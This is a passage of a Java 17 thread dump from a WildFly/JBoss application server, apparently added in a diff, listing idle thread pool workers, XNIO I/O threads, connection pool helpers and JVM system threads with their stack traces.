java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + +"IdleRemover" #134 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a720f1f + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1757) + at org.jboss.ironjacamar.impl@3.0.4.Final//org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner.run(IdleRemover.java:261) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + +"ServerService Thread Pool -- 58" #89 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 43" #71 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 46" #77 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-11" #120 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 12" #38 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ConnectionValidator" #133 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@64abdc0d + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1757) + at org.jboss.ironjacamar.impl@3.0.4.Final//org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner.run(ConnectionValidator.java:268) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + +"default I/O-19" #128 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 78" #145 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 52" #83 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-2" #18 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4669a150 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + +"ServerService Thread Pool -- 6" #32 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-10" #119 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"Periodic Recovery" #138 [TIMED_WAITING] on java.lang.Object@32f410b7 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/java.lang.Object.wait(Native Method) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doBackoffWait(PeriodicRecovery.java:644) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doWorkInternal(PeriodicRecovery.java:762) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.run(PeriodicRecovery.java:358) + +"Reference Reaper #2" #143 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2df8ca89 + java.lang.Thread.State: WAITING + at java.base@17.0.9/java.lang.Object.wait(Native Method) + at java.base@17.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at org.wildfly.common@1.6.0.Final//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"ServerService Thread Pool -- 40" #68 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 55" #86 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 75" #106 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default Accept" #132 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"Reference Reaper #3" #144 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2df8ca89 + java.lang.Thread.State: WAITING + at java.base@17.0.9/java.lang.Object.wait(Native Method) + at java.base@17.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at org.wildfly.common@1.6.0.Final//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"MSC service thread 1-7" #23 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4669a150 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + +"Reference Reaper #1" #142 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@2df8ca89 + java.lang.Thread.State: WAITING + at java.base@17.0.9/java.lang.Object.wait(Native Method) + at java.base@17.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at org.wildfly.common@1.6.0.Final//org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"ServerService Thread Pool -- 36" #62 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 70" #101 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 22" #48 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 65" #96 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 83" #150 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@174832de + java.lang.Thread.State: WAITING + at java.base@17.0.9/java.lang.Object.wait(Native Method) + at java.base@17.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.9/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"ServerService Thread Pool -- 59" #90 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 73" #104 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-1" #110 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 25" #51 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 17" #43 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 24" #50 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"DestroyJavaVM" #26 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerService Thread Pool -- 80" #147 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 20" #46 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 1" #27 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@33dfa91d + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1672) + at java.base@17.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-3" #112 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"Common-Cleaner" #12 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@2d39df8e + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/java.lang.Object.wait(Native Method) + at java.base@17.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.9/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.9/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"ServerService Thread Pool -- 4" #30 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ServerService Thread Pool -- 42" #70 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-21" #130 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"default I/O-14" #123 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:563) + +"ServerService Thread Pool -- 38" #64 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 50" #81 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-5" #114 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:146) + at org.jboss.xnio.nio@3.8.11.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 21" #47 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 10" #36 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2ea4b4bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@17.0.9/java.lang.Thread.run(Thread.java:840) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + 